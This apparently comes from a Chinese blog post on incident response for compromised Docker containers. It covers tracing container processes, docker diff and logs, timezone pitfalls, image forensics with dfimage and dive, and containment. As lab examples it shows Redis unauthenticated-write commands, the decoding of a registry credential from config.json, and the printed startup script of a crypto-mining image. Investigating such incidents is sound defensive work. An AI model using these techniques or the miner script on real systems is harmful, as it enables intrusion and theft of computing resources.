本文为笔者对容器安全事件的归纳,仅代表个人观点。
思维导图在文末
一、引子
-
定位初始入侵位置
-
了解环境基本信息
二、容器分析
-
保存容器现场
-
容器的变更
-
深入容器基本信息
-
容器日志分析
-
其他安全设备日志
三、镜像分析
-
镜像仓库
-
镜像扫描
-
镜像分析
镜像的构建过程
镜像构建引用的文件
四、处置手段
五、小结
首先要确认入侵是否发生在容器内,还是已经发生在宿主机。
场景:zabbix告警一个进程内存占用非常高,像是挖矿程序/DOS了。但是查看进程的PPID却发现是systemd,无法找到进程对应的文件,同时环境内有容器,这种情况可以考虑是容器相关了,可以通过如下方式确定。
首先获取程序PID,然后查看对应进程的进程树是否父进程为containerd-shim
为什么是containerd-shim,上图比较清晰的介绍了容器各组件之间的逻辑关系,不同docker版本有些区别,具体视情况决定。
以docker为例,可以通过如下方式确认宿主机内的容器进程PID及对应的容器名
for i in $(docker container ls --format "{{.ID}}"); do docker inspect -f '{{.State.Pid}} {{.Name}}' $i; done
需要提醒的是,在生产环境可能有些输出PID为0,这种不是真的PID为0,是此刻容器处于restarting状态。
定位到对应的容器后,需要检查该容器的一些基本信息
检查容器对外开放端口,是否有根据经验即可判断的风险
docker ps #当前运行的容器、创建时间、运行状态、映射的端口
检查宿主机docker环境,比如是否docker deamon api对外开放,还是有很多运维因为种种原因可能做出这类配置的。
接下来就是判断容器是否有逃逸的风险,或者说容器是否已发生逃逸
常见的容器逃逸checklist:
-
是否挂载了敏感目录
-
是否是特权容器
-
宿主机内核版本是否在常见的逃逸漏洞影响范围
-
...
最后检查对应镜像的运行命令,不过多数都是docker-entrypoint.sh,最好有容器管理员侧的配合
再次确认容器在宿主机的PID
docker inspect -f '{{.State.Pid}}' <容器ID>
最后是确定当前节点使用的镜像仓库,如果使用公网仓库则需要排查是否存在被恶意拉取可能性,关于这点将在后面章节继续。
容器是动态的,所以处置过程也需要考虑动态的因素。
如果需要进行取证就应该先暂停处置等工作,第一步是确保现场的完整性。
docker commmit <容器ID>
docker checkpoint #需要开启实验性功能
因为一般跑容器的宿主机都是大内存机器,所以保存机器内存快照其实并不怎么方便。
场景:这里以redis容器空口令导致redis被写入私钥为例
环境搭建:使用vulhub环境模拟
使用redis-cli连接空口令的redis,并在tmp目录写入名为hack的文件
config set dir /tmp
set shell hacked
config set dbfilename hack
save
exit
入侵者在入侵容器后,做了什么变更,这个是比较关键的信息
docker diff <容器ID>
C /tmp
A /tmp/hack
类型解释如下
A |
|
D |
文件或目录被删除 |
C |
文件或目录已更改 |
查看文件时间(常见的容器基础镜像都不带ll命令)
$ docker exec -i <容器ID> ls /tmp -al
total 8
drwxrwxrwt 1 root root 31 Mar 6 02:46 .
drwxr-xr-x 1 root root 17 Mar 6 02:24 ..
-rw-r--r-- 1 redis redis 112 Mar 6 02:24 hack
不过生产环境噪音肯定非常大,需要一定其他信息进行过滤
这里给出一些常见的命令
docker info #docker引擎的相关信息
docker inspect -f <container id>
docker inspect --format="{{json .Mounts}}" <容器ID> | jq #目录在宿主机的具体挂载位置
docker inspect --format="{{json .NetworkSettings}}" <容器ID> | jq #查看网络信息
docker inspect 80d15c023c6d | grep com.docker.compose #查看docker-compose路径、镜像、
docker logs 所收集的日志是只包含标准输出(STDOUT)与标准错误输出(STDERR),所以粒度可能是不够的。而且容器一旦重启,docker log便会丢失。
许多知名项目在移植到docker时,也考虑到了这点,以nginx的Dockerfile为例,就是直接将access.log和error.log 软链接到stdout和stderr。
ln -sf /dev/stdout /var/log/nginx/access.log
ln -sf /dev/stderr /var/log/nginx/error.log
2017年,Matt Stine在接受InfoQ采访时将Observability(可观测性)归纳为云原生的特征。在目前的CNCF中,可观测性体系的产品主要分为Monitoring监控、Logging日志 、Tracing调用链。
因此如果有外部日志服务器,那么直接到日志服务器进行检索即可,可能有更多的数据源、更专业的检索工具,可以更好的分析安全事件。本文主要讨论关于没有持久化日志的情况
继续分析上面的场景
docker logs <容器ID>
1:C 06 Mar 02:24:04.043 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
1:C 06 Mar 02:24:04.043 # Redis version=4.0.14, bits=64, commit=00000000, modified=0, pid=1, just started
1:C 06 Mar 02:24:04.043 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
1:M 06 Mar 02:24:04.044 * Running mode=standalone, port=6379.
1:M 06 Mar 02:24:04.044 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
1:M 06 Mar 02:24:04.044 # Server initialized
1:M 06 Mar 02:24:04.044 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
1:M 06 Mar 02:24:04.044 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issueswith Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
1:M 06 Mar 02:24:04.044 * Ready to accept connections
1:M 06 Mar 02:24:33.332 * DB saved on disk
可以看到在06 Mar 02:24:33保存了一个DB
结合容器变更信息中,tmp目录下的文件时间,可以推断该容器是在06 Mar 02:24被入侵。
但是这个时间不完全对,因为容器的时区没有设置,在容器内执行date命令可以看到使用的是UTC时区
$docker exec -i <容器ID> date
Sun Mar 6 02:30:08 UTC 2022
因为容器启动时未配置时区,所以默认会使用UTC
因为是UTC时区,所以就需要将时间+8小时即Mar 6 10:30:08
这点不多谈,容器技术在设计时考虑了很多安全性,但是基础的安全建设、设备还是需要的。
需要注意的是厂商有无容器安全案例?对于K8S等容器编排技术的环境,POD、Node间东西向流量是否能收集?
假如容器是因为被投毒,所以造成的失陷,可以就要分析镜像来源。当然,如果发生了项目文件泄露也可以分析镜像排查,比如是否有.git等。
首选确定是否使用了docker-compose构建?如果使用,docker-compose.yml文件内容是哪些?
直接使用docker inspect ,就可以看到docker-compose的路径
$docker inspect <容器ID> | grep com.docker.compose
首先确定容器使用的镜像:当前环境是否使用了镜像仓库,除了直接问机器管理员还可以自己摸索(这点在攻击者角度也是一样的),直接通过docker info 命令查看即可。
不过,同样需要关注的是镜像仓库的凭据。和其他Linux软件一样,secret一般都在用户的环境变量,如$HOME/.docker/config.json,甚至openshift都可以通过该文件创建secret(也可以自定义的,参数是--config,且优先级更高)
$oc create secret generic dockerhub
--from-file=.dockerconfigjson=<path/to/.docker/config.json>
--type=kubernetes.io/dockerconfigjson
回归主线,查看以下json文件
$cat /root/.docker/config.json
192.168.xxxx.xxx:8888即是仓库对应的IP:Port
{
"auths": {
"192.168.xxxx.xxx:8888": {
"auth": "YWRtaW46SGFyYm9yMTIzNDU="
}
}
}
这里auth的value就是用户名:密码,可以直接base64解码
$echo "YWRtaW46SGFyYm9yMTIzNDU=" | base64 -d
admin:Harbor12345
除了其他机器失陷,导致镜像仓库凭据泄露,进而导致镜像被恶意拉取。当然也可能是harbor项目配置不当,比如配置成了public项目、registry错误配置或利用了harbor漏洞...
新版本的docker已经和synk合作提供镜像扫描服务,当然也可以使用一些开源的镜像扫描工具比如
Trivy、Clair,或者是镜像仓库扫描器,比如新版本harbor就是默认集成了,其他的商业容器安全平台一般也有Adapter集成harbor用于扫描。
在扫描过程中可以发现一些应用漏洞(需要排除大量误报)+配置错误
在确保基础镜像的安全性后,分析镜像主要有两点:提取出镜像的构建过程和镜像构建过程中引用的文件
场景模拟:dockerhub上的一个挖矿镜像
docker pull hsww/xmrig-centos7:v6.12.2
使用docker history
docker history --no-trunc hsww/xmrig-centos7:v6.12.2
效果如下,其实有点难理解,但是优点是有时间等信息
IMAGE CREATED CREATED BY SIZE COMMENT
sha256:3960a79adeabfa493f9fb8e183808d291d48f01ed56218f8d3364518d2cd302a 9 months ago /bin/sh -c #(nop) ENTRYPOINT ["/usr/bin/xmrig"] 0B
<missing> 9 months ago /bin/sh -c #(nop) COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin 7.69MB
<missing> 15 months ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0B
<missing> 15 months ago /bin/sh -c #(nop) LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00 0B
<missing> 15 months ago /bin/sh -c #(nop) ADD file:b3ebbe8bd304723d43b7b44a6d990cd657b63d93d6a2a9293983a30bfc1dfa53 in / 204MB
使用dfimage工具
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 hsww/xmrig-centos7:v6.12.2
提取出的信息如下
LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00
CMD ["/bin/bash"]
COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin
usr/
usr/bin/
usr/bin/xmrig
ENTRYPOINT ["/usr/bin/xmrig"]
然后把/usr/bin/xmrig文件复制出来分析即可
/usr/bin/xmrig
docker inspect hsww/xmrig-centos7:v6.12.2 #查看UpperDir目录,直接复制其中内容即可
docker inspect --format='{{.GraphDriver.Data.UpperDir}}' hsww/xmrig-centos7:v6.12.2
因为这里使用的是默认的overlay2驱动,以下是LowerDir、MergedDir、UpperDir之间的关系,可以通过docker info查看当前使用的docker 存储驱动。
$tree -l
.
└── usr
└── bin
└── xmrig
这里使用dockerhub上的docker72590/apache:latest进行分析
dfimage -sV=1.36 docker72590/apache:latest
解析出的Dockerfile文件为
CMD ["/bin/sh"]
/bin/sh
WORKDIR /home
CMD ["sh" "-c" "./.system
&& tail -f /dev/null"]
可以看到其中的关键是/home/.system文件
docker inspect --format='{{.GraphDriver.Data.UpperDir}}' docker72590/apache:latest
但是目录下没有,可能在基础镜像时已经包含了这个内容,所以得看LowerDir
$docker inspect --format='{{.GraphDriver.Data.LowerDir}}' docker72590/apache:latest
/var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff:/var/lib/docker/overlay2/79107e83796cd78d7477d8e0dec22dc363eb56e966d7a49e64858bf5937227e5/diff
cd /var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff
$tree -a
.
├── bin
│ ├── apache2
│ ├── httpd
│ └── httpd-crypto
├── home
│ └── .system
├── usr
│ └── share
│ └── .apache
│ └── ...
│ ├── apache4
│ ├── .dat
│ ├── httpd
│ ├── .httpd5.pid
│ └── .httpd6.pid
└── var
└── tmp
├── .apache
│ └── ...
│ └── httpd
└── .crypto
└── ...
├── .ddns
├── .ddns.pid
├── httpd-crypto
└── .stop.sh
所以在这里无法显示,也可以通过dive查看镜像构建过程引用的文件
docker pull wagoodman/dive #拉取dive镜像
docker run --rm -it
-v /var/run/docker.sock:/var/run/docker.sock
wagoodman/dive:latest docker72590/apache:latest
注意这里的层ID
提取镜像到本地
docker save docker72590/apache:latest -o apache.bin
使用binwalk进行提取,其实也可以直接解压,这里直接解压
docker save docker72590/apache:latest -o apache.tar
mkdir apache/
tar xvf apache.tar -C apache/
根据dive的信息,直接看对应的一层,找到.system,有个经验技巧就是镜像第一层会在最上面
$ls a40defa7c3de20011509b2acfc6d12137efcf033df032bc34c67f04582c88a53/home -alh
total 4.0K
drwxr-xr-x. 2 root root 21 Dec 6 16:57 .
drwxr-xr-x. 6 root root 95 Mar 6 03:22 ..
-rwxr-xr-x. 1 1000 1000 466 Nov 23 11:33 .system
因为启动方式是sh启动,所以是个shell脚本,可以查看文件内容
#/bin/bash
export LC_ALL=C.UTF-8
export LANG=C.UTF-8
export DOCKER_API_VERSION=1.24
ping -c 3 -w 5 google.com 2>/dev/null 1>/dev/null
if [ $? != 0 ];then
sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories
fi
mkdir -p /var/tmp/.apache/...
apk update
apk add redis docker jq libpcap-dev openrc curl --no-cache
cd /var/tmp/.crypto/...
./httpd-crypto
cd /var/tmp/.apache/...
./httpd
cd /usr/share/.apache/...
sleep 60
./httpd
这里就不继续分析了
安全事件处置第一步优先选择下线相关应用/修复应用风险,在容器编排技术流行的情况下尤其如此。
因为K8S的Cluster Autoscaler和Horizontal Pod Autoscaler等功能,假如频繁性的在一个node上阻断操作,master可能判定该node故障,因此将pod驱逐到其他node。应用依旧正常运行,而防守者以为已经处置了风险。
下面提到的方式主要是短时止血的思路,需要结合应用部署实施的实际情况决定。
暂停容器
docker pause <容器ID>
docker unpause <容器ID> #取消暂停容器
删除容器,除非迫不得已
docker rm -f <容器ID>
如有疏漏,请见谅
原文始发于微信公众号(无界信安):容器安全事件排查
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论